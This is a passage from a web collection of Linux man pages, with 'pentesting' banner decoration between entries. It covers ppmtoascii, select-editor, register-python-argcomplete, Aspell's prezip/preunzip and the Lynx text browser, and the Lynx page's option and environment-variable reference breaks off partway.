➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ppmtoascii and provides detailed information about the command ppmtoascii, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ppmtoascii.

.

NAME 🖥️ ppmtoascii 🖥️

convert a PPM image to ASCII graphics with ANSI terminal color

SYNOPSIS

ppmtoascii

[-1x2|-2x4]

[ppmfile]

DESCRIPTION

This program is part of Netpbm(1) .

ppmtoascii reads a PPM image as input and produces a somewhat crude ASCII graphic image as output, with ANSI terminal control characters so it has crude color when sent to a color text terminal.

There is no converter for the other direction.

ppmtoterm does a similar thing, but displays each character of the image as a single pixel (using the same dense character for every pixel), whereas ppmtoascii combines 2 or 8 pixels into one character, where the character roughly represents those particular pixels.

Note that ANSI provides for only eight colors (including black and white).

Note that an ANSI terminal can’t display a single character in multiple colors, so where a character represents 8 pixels of differing colors, the color of the character is one that is the average of the colors of those pixels.

pbmtoascii does the same thing for PBM images, with no terminal control characters (because none are needed for a strictly black and white image).

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), ppmtoascii recognizes the following command line options:

The -1x2 and -2x4 options give you two alternate ways for the pixels to get mapped to characters. With 1x2, the default, each character represents a group of 1 pixel across by 2 pixels down. With -2x4, each character represents 2 pixels across by 4 pixels down.

SEE ALSO

pbmtoascii(1) ppmtoterm(1) ppm(1)

HISTORY

ppmtoascii was new in Netpbm 10.51 (June 2010). Frank Ch. Eigler derived it from pbmtoascii.

AUTHOR

Copyright (C) 2010 by Frank Ch. Eigler.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/ppmtoascii.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1927 - Linux cli command select-editor

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command select-editor and provides detailed information about the command select-editor, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the select-editor.

NAME 🖥️ select-editor 🖥️

editor - select your default sensible-editor from all installed editors

SYNOPSIS

select-editor

DESCRIPTION

select-editor provides a coherent mechanism for selecting and storing a preferred sensible-editor on a per-user basis. It lists the available editors on a system and interactively prompts the user to select one. The results are stored as SELECTED_EDITOR variable in ~/.selected_editor, which is sourced and used by sensible-editor(1) command. SELECTED_EDITOR variable is overridden by the VISUAL and EDITOR environment variables.

AUTHOR

select-editor was written by Dustin Kirkland <[email protected]>.

SEE ALSO

sensible-editor(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1928 - Linux cli command register-python-argcomplete

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command register-python-argcomplete and provides detailed information about the command register-python-argcomplete, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the register-python-argcomplete.

NAME 🖥️ register-python-argcomplete 🖥️

python-argcomplete - register-python-argcomplete - argcomplete utility script

DESCRIPTION

usage: register-python-argcomplete [-h] [–no-defaults]

[–complete-arguments …]
[-s {bash,zsh,tcsh,fish,powershell}] [-e EXTERNAL_ARGCOMPLETE_SCRIPT] executable [executable …]

Register a Python executable for use with the argcomplete module.

To perform the registration, source the output of this script in your bash shell (quote the output to avoid interpolation).

Example:

$ eval "$(register-python-argcomplete my-favorite-script.py)"

For Tcsh

$ eval `register-python-argcomplete --shell tcsh my-favorite-script.py`

For Fish

$ register-python-argcomplete --shell fish my-favourite-script.py > ~/.config/fish/my-favourite-script.py.fish

positional arguments:

executable
executable to completed (when invoked by exactly this name)

options:

-h, –help
show this help message and exit

–no-defaults
when no matches are generated, do not fallback to readline’s default completion (affects bash only)

–complete-arguments
arguments to call complete with; use of this option discards default options (affects bash only)

-s {bash,zsh,tcsh,fish,powershell}, –shell {bash,zsh,tcsh,fish,powershell}
output code for the specified shell

-e EXTERNAL_ARGCOMPLETE_SCRIPT, –external-argcomplete-script EXTERNAL_ARGCOMPLETE_SCRIPT
external argcomplete script for auto completion of the executable

AUTHORS

argcomplete module was written by Andrey Kislyuk

SEE ALSO

Full documentation for argccomplete module is stored at https://argcomplete.readthedocs.org/en/latest/

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1929 - Linux cli command preunzip

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command preunzip and provides detailed information about the command preunzip, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the preunzip.

NAME 🖥️ preunzip 🖥️

prefix delta compressor for Aspell

SYNOPSIS

precat [-dzhLV] [-cfksSq] [file …]

DESCRIPTION

prezip is a a prefix delta compressor. It is not a general purpose compressor and should only be used on sorted word lists or other similar text files. It will likely increase the size of binary data.

If invoked as prezip, the default action is to compress. If invoked as preunzip, the default action is to decompress. If invoked as precat, the default action is to decompress to stdout.

If no file names are given then prezip will compress or decompress from the standard input to the standard output. Short flags can be combined so that “-c -s” is the same as “-cs”.

OPTIONS

-h –help
display help

-d –decompress
force decompression

-z –compress
dorce compression

-L –license
display software license

-V –version
display version

-c –stdout
decompress to standard output

-f –force
force

-k –keep
keep input files

-s –sort
sort and remove duplicates before compressing

-S –nocwl
do not rename .wl suffix to .cwl (use .wl.pz instead)

-q –quiet
suppress all warnings

AUTHOR

This manual page was written by Brian Nelson <[email protected]> based on the output of help2man. Aspell is Copyright © 2002 Kevin Atkinson.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1930 - Linux cli command www-browser

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command www-browser and provides detailed information about the command www-browser, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the www-browser.

NAME 🖥️ www-browser 🖥️

a general purpose distributed information browser for the World Wide Web

SYNOPSIS

lynx [options] [optional paths or URLs]

lynx [options] [path or URL] -get_data
data

lynx [options] [path or URL] -post_data
data

Use lynx -help to display a complete list of current options.

DESCRIPTION

Lynx is a fully-featured World Wide Web (WWW) client for users running cursor-addressable, character-cell display devices (e.g., vt100 terminals, vt100 emulators running on Windows or any POSIX platform, or any other curses-oriented display). It will display hypertext markup language (HTML) documents containing links to files residing on the local system, as well as files residing on remote systems running Gopher, HTTP, FTP, WAIS, and NNTP servers.

Lynx has been ported to many systems, including all variants of Unix, Windows (since Windows 95), DOS DJGPP and OS/2, as well as VMS and OS/390.

Lynx can be used to access information on the World Wide Web, or to build information systems intended primarily for local access. For example, Lynx has been used to build several Campus Wide Information Systems (CWIS). In addition, Lynx can be used to build systems isolated within a single LAN.

OPTIONS

At start up, Lynx will load any local file or remote URL specified at the command line. For help with URLs, press ? or H while running Lynx. Then follow the link titled, Help on URLs.

If more than one local file or remote URL is listed on the command line, Lynx will open only the last interactively. All of the names (local files and remote URLs) are added to the G)oto history.

Lynx uses only long option names. Option names can begin with double dash – as well, underscores and dashes can be intermixed in option names (in the reference below, options are shown with one dash - before them, and with underscores _).

Lynx provides many command-line options. Some options require a value (string, number or keyword). These are noted in the reference below. The other options set boolean values in the program. There are three types of boolean options: set, unset and toggle. If no option value is given, these have the obvious meaning: set (to true), unset (to false), or toggle (between true/false). For any of these, an explicit value can be given in different forms to allow for operating system constraints, e.g.,

-center:off
-center=off
-center-

Lynx recognizes 1, +, on and true for true values, and 0, -, off and false for false values. Other option-values are ignored.

The default boolean, number and string option values that are compiled into Lynx are displayed in the help-message provided by lynx -help. Some of those may differ according to how Lynx was built; see the help message itself for these values. The -help option is processed in the third pass of options-processing, so any option which sets a value, as well as runtime configuration values are reflected in the help-message.

-
If the argument is only -, then Lynx expects to receive the arguments from the standard input. This is to allow for the potentially very long command line that can be associated with the -get_data or -post_data arguments (see below). It can also be used to avoid having sensitive information in the invoking command line (which would be visible to other processes on most systems), especially when the -auth or -pauth options are used.

-accept_all_cookies
accept all cookies.

-anonymous
apply restrictions for anonymous account, see also -restrictions.

-assume_charset=MIMEname
charset for documents that do not specify it.

-assume_local_charset=MIMEname
charset assumed for local files, i.e., files which Lynx creates such as internal pages for the options menu.

-assume_unrec_charset=MIMEname
use this instead of unrecognized charsets.

-auth=ID:PASSWD
set authorization ID and password for protected documents at startup. Be sure to protect any script files which use this switch.

-base
prepend a request URL comment and BASE tag to text/html outputs for -source dumps.

-bibhost=URL
specify a local bibp server (default http://bibhost/).

-blink
forces high intensity background colors for color mode, if available and supported by the terminal. This applies to the slang library (for a few terminal emulators), or to OS/2 EMX with ncurses.

-book
use the bookmark page as the startfile. The default or command line startfile is still set for the Main screen command, and will be used if the bookmark page is unavailable or blank.

-buried_news
toggles scanning of news articles for buried references, and converts them to news links. Not recommended because email addresses enclosed in angle brackets will be converted to false news links, and uuencoded messages can be trashed.

-cache=NUMBER
set the NUMBER of documents cached in memory. The default is 10.

-case
enable case-sensitive string searching.

-center
toggles center alignment in HTML TABLE. Normally table cells are centered on the table grid. Set this option on to disable centering. The default is off.

-cfg=FILENAME
specifies a Lynx configuration file other than the default lynx.cfg.

-child
exit on left-arrow in startfile, and disable save to disk and associated print/mail options.

-child_relaxed
exit on left-arrow in startfile, but allow save to disk and associated print/mail options.

-cmd_log=FILENAME
write keystroke commands and related information to the specified file.

-cmd_script=FILENAME
read keystroke commands from the specified file. You can use the data written using the -cmd_log option. Lynx will ignore other information which the command-logging may have written to the logfile. Each line of the command script contains either a comment beginning with #, or a keyword:

exit
causes the script to stop, and forces Lynx to exit immediately.

key
the character value, in printable form. Cursor and other special keys are given as names, e.g., Down Arrow. Printable 7-bit ASCII codes are given as-is, and hexadecimal values represent other 8-bit codes.

set
followed by a name=value allows one to override values set in the lynx.cfg or .lynxrc files. Lynx tries the cfg-file setting first.

-collapse_br_tags
toggles collapsing of BR tags.

-color
forces color mode on, if available. Default color control sequences which work for many terminal types are assumed if the terminal capability description does not specify how to handle color. Lynx needs to be compiled with the slang library for this flag, it is equivalent to setting the COLORTERM environment variable. (If color support is instead provided by a color-capable curses library like ncurses, Lynx relies completely on the terminal description to determine whether color mode is possible, and this flag is not needed and thus unavailable.) A saved show_color=always setting found in a .lynxrc file at startup has the same effect. A saved show_color=never found in .lynxrc on startup is overridden by this flag.

-connect_timeout=N
Sets the connection timeout, where N is given in seconds.

-cookie_file=FILENAME
specifies a file to use to read cookies. If none is specified, the default value is ~/.lynx_cookies for most systems, but ~/cookies for MS-DOS.

-cookie_save_file=FILENAME
specifies a file to use to store cookies. If none is specified, the value given by -cookie_file is used.

-cookies
toggles handling of Set-Cookie headers.

-core
toggles forced core dumps on fatal errors. Turn this option off to ask Lynx to force a core dump if a fatal error occurs.

-crawl
with -traversal, output each page to a file. with -dump, format output as with -traversal, but to the standard output.

-curses_pads
toggles the use of curses pad feature which supports left/right scrolling of the display. The feature is normally available for curses configurations, but inactive. To activate it, use the | character or the LINEWRAP_TOGGLE command. Toggling this option makes the feature altogether unavailable.

-debug_partial
separate incremental display stages with MessageSecs delay

-default_colors
toggles the default-colors feature which is normally set in the lynx.cfg file.

-delay
add DebugSecs delay after each progress-message

-display=DISPLAY
set the display variable for X rexec-ed programs.

-display_charset=MIMEname
set the charset for the terminal output.

-dont_wrap_pre
inhibit wrapping of text when -dump‘ing and -crawl‘ing, mark wrapped lines of <pre> in interactive session.

-dump
dumps the formatted output of the default document or those specified on the command line to standard output. Unlike interactive mode, all documents are processed. This can be used in the following way:

lynx -dump http://www.subir.com/lynx.html

Files specified on the command line are formatted as HTML if their names end with one of the standard web suffixes such as .htm or .html. Use the -force_html option to format files whose names do not follow this convention.

-editor=EDITOR
enable external editing, using the specified EDITOR. (vi, ed, emacs, etc.)

-emacskeys
enable emacs-like key movement.

-enable_scrollback
toggles compatibility with communication programs’ scrollback keys (may be incompatible with some curses packages).

-error_file=FILE
define a file where Lynx will report HTTP access codes.

-exec
enable local program execution (normally not configured).

-fileversions
include all versions of files in local VMS directory listings.

-find_leaks
toggle memory leak-checking. Normally this is not compiled-into your executable, but when it is, it can be disabled for a session.

-force_empty_hrefless_a
force HREF-less A elements to be empty (close them as soon as they are seen).

-force_html
forces the first document to be interpreted as HTML.

This is most useful when processing files specified on the command line which have an unrecognized suffix (or the suffix is associated with a non-HTML type, such as .txt for plain text files).

Lynx recognizes these file suffixes as HTML:

.ht3,
.htm,
.html3,
.html,
.htmlx,
.php3,
.php,
.phtml,
.sht, and
.shtml.

-force_secure
toggles forcing of the secure flag for SSL cookies.

-forms_options
toggles whether the Options Menu is key-based or form-based.

-from
toggles transmissions of From headers.

-ftp
disable ftp access.

-get_data
properly formatted data for a get form are read in from the standard input and passed to the form. Input is terminated by a line that starts with —.

Lynx issues an HTTP GET*,* sending the form to the path or URL given on the command-line and prints the response of the server. If no path or URL is given, Lynx sends the form to the start-page.

-head
send a HEAD request for the mime headers.

-help
print the Lynx command syntax usage message, and exit.

-hiddenlinks=[option]
control the display of hidden links.

merge
hidden links show up as bracketed numbers and are numbered together with other links in the sequence of their occurrence in the document.

listonly
hidden links are shown only on L)ist screens and listings generated by -dump or from the P)rint menu, but appear separately at the end of those lists. This is the default behavior.

ignore
hidden links do not appear even in listings.

-historical
toggles use of > or –> as a terminator for comments.

-homepage=URL
set homepage separate from start page.

-image_links
toggles inclusion of links for all images.

-index=URL
set the default index file to the specified URL.

-ismap
toggles inclusion of ISMAP links when client-side MAPs are present.

-justify
do justification of text.

-link=NUMBER
starting count for lnk#.dat files produced by -crawl.

-list_decoded
for -dump, show URL-encoded links decoded.

-list_inline
for -dump, show the links inline with the text.

-listonly
for -dump, show only the list of links.

-localhost
disable URLs that point to remote hosts.

-locexec
enable local program execution from local files only (if Lynx was compiled with local execution enabled).

-lss=FILENAME
specify filename containing color-style information. The default is lynx.lss. If you give an empty filename, Lynx uses a built-in monochrome scheme which imitates the non-color-style configuration.

-mime_header
prints the MIME header of a fetched document along with its source.

-minimal
toggles minimal versus valid comment parsing.

-nested_tables
toggles nested-tables logic (for debugging).

-newschunksize=NUMBER
number of articles in chunked news listings.

-newsmaxchunk=NUMBER
maximum news articles in listings before chunking.

-nobold
disable bold video-attribute.

-nobrowse
disable directory browsing.

-nocc
disable Cc: prompts for self copies of mailings. Note that this does not disable any CCs which are incorporated within a mailto URL or form ACTION.

-nocolor
force color mode off, overriding terminal capabilities and any -color flags, COLORTERM variable, and saved .lynxrc settings.

-noexec
disable local program execution. (DEFAULT)

-nofilereferer
disable transmissions of Referer headers for file URLs.

-nolist
disable the link list feature in dumps.

-nolog
disable mailing of error messages to document owners.

-nomargins
disable left/right margins in the default style sheet.

-nomore
disable -more- string in statusline messages.

-nonrestarting_sigwinch
This flag is not available on all systems, Lynx needs to be compiled with HAVE_SIGACTION defined. If available, this flag may cause Lynx to react more immediately to window changes when run within an xterm.

-nonumbers
disable link- and field-numbering. This overrides -number_fields and -number_links.

-nopause
disable forced pauses for statusline messages.

-noprint
disable most print functions.

-noredir
prevents automatic redirection and prints a message with a link to the new URL.

-noreferer
disable transmissions of Referer headers.

-noreverse
disable reverse video-attribute.

-nosocks
disable SOCKS proxy usage by a SOCKSified Lynx.

-nostatus
disable the retrieval status messages.

-notitle
disable title and blank line from top of page.

-nounderline
disable underline video-attribute.

-number_fields
force numbering of links as well as form input fields

-number_links
force numbering of links.

-partial
toggles display partial pages while loading.

-partial_thres=NUMBER
number of lines to render before repainting display with partial-display logic

-passive_ftp
toggles passive ftp connections.

-pauth=ID:PASSWD
set authorization ID and password for a protected proxy server at startup. Be sure to protect any script files which use this switch.

-popup
toggles handling of single-choice SELECT options via popup windows or as lists of radio buttons.

-post_data
properly formatted data for a post form are read in from the standard input and passed to the form. Input is terminated by a line that starts with —.

Lynx issues an HTTP POST*,* sending the form to the path or URL given on the command-line and prints the response of the server. If no path or URL is given, Lynx sends the form to the start-page.

-preparsed
show HTML source preparsed and reformatted when used with -source or in source view.

-prettysrc
show HTML source view with lexical elements and tags in color.

-print
enable print functions. (default)

-pseudo_inlines
toggles pseudo-ALTs for inline images with no ALT string.

-raw
toggles default setting of 8-bit character translations or CJK mode for the startup character set.

-realm
restricts access to URLs in the starting realm.

-read_timeout=N
Sets the read-timeout, where N is given in seconds.

-reload
flushes the cache on a proxy server (only the first document given on the command-line is affected).

-restrictions=[option][,option][,option]…
allows a list of services to be disabled selectively. Dashes and underscores in option names can be intermixed. The following list is printed if no options are specified.

all
restricts all options listed below.

bookmark
disallow changing the location of the bookmark file.

bookmark_exec
disallow execution links via the bookmark file.

change_exec_perms
disallow changing the eXecute permission on files (but still allow it for directories) when local file management is enabled.

default
same as command line option -anonymous. Disables default services for anonymous users. Set to all restricted, except for: inside_telnet, outside_telnet, inside_ftp, outside_ftp, inside_rlogin, outside_rlogin, inside_news, outside_news, telnet_port, jump, mail, print, exec, and goto. The settings for these, as well as additional goto restrictions for specific URL schemes that are also applied, are derived from definitions within userdefs.h.

dired_support
disallow local file management.

disk_save
disallow saving to disk in the download and print menus.

dotfiles
disallow access to, or creation of, hidden (dot) files.

download
disallow some downloaders in the download menu (does not imply disk_save restriction).

editor
disallow external editing.

exec
disable execution scripts.

exec_frozen
disallow the user from changing the local execution option.

externals
disallow some EXTERNAL configuration lines if support for passing URLs to external applications (with the EXTERN command) is compiled in.

file_url
disallow using G)oto, served links or bookmarks for file: URLs.

goto
disable the g (goto) command.

inside_ftp
disallow ftps for people coming from inside your domain (utmp required for selectivity).

inside_news
disallow USENET news posting for people coming from inside your domain (utmp required for selectivity).

inside_rlogin
disallow rlogins for people coming from inside your domain (utmp required for selectivity).

inside_telnet
disallow telnets for people coming from inside your domain (utmp required for selectivity).

jump
disable the j (jump) command.

multibook
disallow multiple bookmarks.

mail
disallow mail.

news_post
disallow USENET News posting.

options_save
disallow saving options in .lynxrc.

outside_ftp
disallow ftps for people coming from outside your domain (utmp required for selectivity).

outside_news
disallow USENET news reading and posting for people coming from outside your domain (utmp required for selectivity). This restriction applies to news, nntp, newspost, and newsreply URLs, but not to snews, snewspost, or snewsreply in case they are supported.

outside_rlogin
disallow rlogins for people coming from outside your domain (utmp required for selectivity).

outside_telnet
disallow telnets for people coming from outside your domain (utmp required for selectivity).

print
disallow most print options.

shell
disallow shell escapes and lynxexec or lynxprog G)oto’s.

suspend
disallow Unix Control-Z suspends with escape to shell.

telnet_port
disallow specifying a port in telnet G)oto’s.

useragent
disallow modifications of the User-Agent header.

-resubmit_posts
toggles forced resubmissions (no-cache) of forms with method POST when the documents they returned are sought with the PREV_DOC command or from the History List.

-rlogin
disable recognition of rlogin commands.

-scrollbar
toggles showing scrollbar.

-scrollbar_arrow
toggles showing arrows at ends of the scrollbar.

-selective
require .www_browsable files to browse directories.

-session=FILENAME
resumes from specified file on startup and saves session to that file on exit.

-sessionin=FILENAME
resumes session from specified file.

-sessionout=FILENAME
saves session to specified file.

-short_url
show very long URLs in the status line with … to represent the portion which cannot be displayed. The beginning and end of the URL are displayed, rather than suppressing the end.

-show_cfg
Print the configuration settings, e.g., as read from lynx.cfg, and exit.

-show_cursor
If enabled the cursor will not be hidden in the right hand corner but will instead be positioned at the start of the currently selected link. Show cursor is the default for systems without FANCY_CURSES capabilities. The default configuration can be changed in userdefs.h or lynx.cfg. The command line switch toggles the default.

-show_rate
If enabled the transfer rate is shown in bytes/second. If disabled, no transfer rate is shown. Use lynx.cfg or the options menu to select KB/second and/or ETA.

-socks5_proxy=URL
(Via which) SOCKS5 proxy to connect: any network traffic, including all DNS resolutions but the one for URL itself, will be redirected through the SOCKS5 proxy. URL may be given as proxy.example.com, proxy.example.com:1080, 192.168.0.1, or 192.168.0.1:1080 (and IPv6 notation if so supported). A SOCKS5 proxy may also be specified via the environment variable SOCKS5_PROXY. This option controls the builtin SOCKS5 support, which is unrelated to the option -nosocks*.*

-soft_dquotes
toggles emulation of the old Netscape and Mosaic bug which treated > as a co-terminator for double-quotes and tags.

-source
works the same as dump but outputs HTML source instead of formatted text. For example

lynx -source . >foo.html

generates HTML source listing the files in the current directory. Each file is marked by an HREF relative to the parent directory. Add a trailing slash to make the HREF’s relative to the current directory:

lynx -source ./ >foo.html

-stack_dump
disable SIGINT cleanup handler

-startfile_ok
allow non-http startfile and homepage with -validate.

-stderr
When dumping a document using -dump or -source, Lynx normally does not display alert (error) messages that you see on the screen in the status line. Use the -stderr option to tell Lynx to write these messages to the standard error.

-stdin
read the startfile from standard input (UNIX only).

-syslog=text
information for syslog call.

-syslog_urls
log requested URLs with syslog.

-tagsoup
initialize parser, using Tag Soup DTD rather than SortaSGML.

-telnet
disable recognition of telnet commands.

-term=TERM
tell Lynx what terminal type to assume it is talking to. (This may be useful for remote execution, when, for example, Lynx connects to a remote TCP/IP port that starts a script that, in turn, starts another Lynx process.)

-timeout=N
For win32, sets the network read-timeout, where N is given in seconds.

-tlog
toggles between using a Lynx Trace Log and stderr for trace output from the session.

-tna
turns on Textfields Need Activation mode.

-trace
turns on Lynx trace mode. Destination of trace output depends on -tlog.

-trace_mask=value
turn on optional traces, which may result in very large trace files. Logically OR the values to combine options:

1
SGML character parsing states

2
color-style

4
TRST (table layout)

8
configuration (lynx.cfg, .lynxrc, .lynx-keymaps, mime.types and mailcap contents)

16
binary string copy/append, used in form data construction.

32
cookies

64
character sets

128
GridText parsing

256
timing

512
detailed URL parsing

-traversal
traverse all http links derived from startfile. When used with -crawl, each link that begins with the same string as startfile is output to a file, intended for indexing.

See CRAWL.announce for more information.

-trim_blank_lines
toggles trimming of trailing blank lines as well as the related trimming of blank lines while collapsing BR tags.

-trim_input_fields
trim input text/textarea fields in forms.

-underline_links
toggles use of underline/bold attribute for links.

-underscore
toggles use of _underline_ format in dumps.

-unique_urls
check for duplicate link numbers in each page and corresponding lists, and reuse the original link number.

-update_term_title
enables updating the title in terminal emulators. Use only if your terminal emulator supports that escape code. Has no effect when used with -notitle.

-use_mouse
turn on mouse support, if available. Clicking the left mouse button on a link traverses it. Clicking the right mouse button pops back. Click on the top line to scroll up. Click on the bottom line to scroll down. The first few positions in the top and bottom line may invoke additional functions. Lynx must be compiled with ncurses or slang to support this feature. If ncurses is used, clicking the middle mouse button pops up a simple menu. Mouse clicks may only work reliably while Lynx is idle waiting for input.

-useragent=Name
set alternate Lynx User-Agent header.

-validate
accept only http URLs (for validation). Complete security restrictions also are implemented.

-verbose
toggle [LINK], [IMAGE] and [INLINE] comments with filenames of these images.

-version
print version information, and exit.

-vikeys
enable vi-like key movement.

-wdebug
enable Waterloo tcp/ip packet debug (print to watt debugfile). This applies only to DOS versions compiled with WATTCP or WATT-32.

-width=NUMBER
number of columns for formatting of dumps, default is 80. This is limited by the number of columns that Lynx could display, typically 1024 (the MAX_LINE symbol).

-with_backspaces
emit backspaces in output if -dump‘ing or -crawl‘ing (like man does)

-xhtml_parsing
tells Lynx that it can ignore certain tags which have no content in an XHTML 1.0 document. For example <p/> will be discarded.

COMMANDS

More than one key can be mapped to a given command. Here are some of the most useful:

  • Use Up arrow and Down arrow to scroll through hypertext links.

  • Right arrow or Return will follow a highlighted hypertext link.

  • Left Arrow or u will retreat from a link.

  • Type H, ?, or F1 for online help and descriptions of key-stroke commands.

  • Type k or K for a list of the current key-stroke command mappings.

    If the same command is mapped to the same letter differing only by upper/lowercase only the lowercase mapping is shown.

  • Type Delete to view history list.

ENVIRONMENT

In addition to various standard environment variables such as DISPLAY, HOME, PATH, SHELL, TMPDIR, USER, etc., Lynx utilizes several Lynx-specific environment variables, if they exist.

Others may be created or modified by Lynx to pass data to an external program, or for other reasons. These are listed separately below.

See also the sections on SIMULATED CGI SUPPORT and NATIVE LANGUAGE SUPPORT, below.

Note: Not all environment variables apply to all types of platforms supported by Lynx, though most do. Feedback on platform dependencies is solicited.

Environment Variables Used By Lynx:

COLORTERM
If set, color capability for the terminal is forced on at startup time. The actual value assigned to the variable is ignored. This variable is only meaningful if Lynx was built using the slang screen-handling library.

LYNX_CFG
This variable, if set, will override the default location and name of the global configuration file (normally, lynx.cfg) that was defined by the LYNX_CFG_FILE constant in the userdefs.h file, during installation.

See the userdefs.h file for more information.

LYNX_CFG_PATH
If set, this variable overrides the compiled-in search-list of directories used to find the configuration files, e.g., lynx.cfg and lynx.lss. The list is delimited with “:” (or “;” for Windows) like the PATH environment variable.

LYNX_HELPFILE
If set, this variable overrides the compiled-in URL and configuration file URL for the Lynx help file.

LYNX_LOCALEDIR
If set, this variable overrides the compiled-in location of the locale directory which contains native language (NLS) message text.

LYNX_LSS
This variable, if set, specifies the location of the default Lynx character style sheet file. [Currently only meaningful if Lynx was built using curses color style support.]

LYNX_SAVE_SPACE
This variable, if set, will override the default path prefix for files saved to disk that is defined in the lynx.cfg SAVE_SPACE: statement.

See the lynx.cfg file for more information.

LYNX_TEMP_SPACE
This variable, if set, will override the default path prefix for temporary files that was defined during installation, as well as any value that may be assigned to the TMPDIR variable.

MAIL
This variable specifies the default inbox Lynx will check for new mail, if such checking is enabled in the lynx.cfg file.

NEWS_ORGANIZATION
This variable, if set, provides the string used in the Organization: header of USENET news postings. It will override the setting of the ORGANIZATION environment variable, if it is also set (and, on UNIX, the contents of an /etc/organization file, if present).

NNTPSERVER
If set, this variable specifies the default NNTP server that will be used for USENET news reading and posting with Lynx, via news: URL’s.

ORGANIZATION
This variable, if set, provides the string used in the Organization: header of USENET news postings. On UNIX, it will override the contents of an /etc/organization file, if present.

PROTOCOL*_proxy***
Lynx supports the use of proxy servers that can act as firewall gateways and caching servers. They are preferable to the older gateway servers (see WWW_access_GATEWAY, below).

Each protocol used by Lynx, (http, ftp, gopher, etc), can be mapped separately by setting environment variables of the form PROTOCOL_proxy. Protocols are indicated in a URI by the name before :, e.g., http in http://some.server.dom:port/ for HTML.

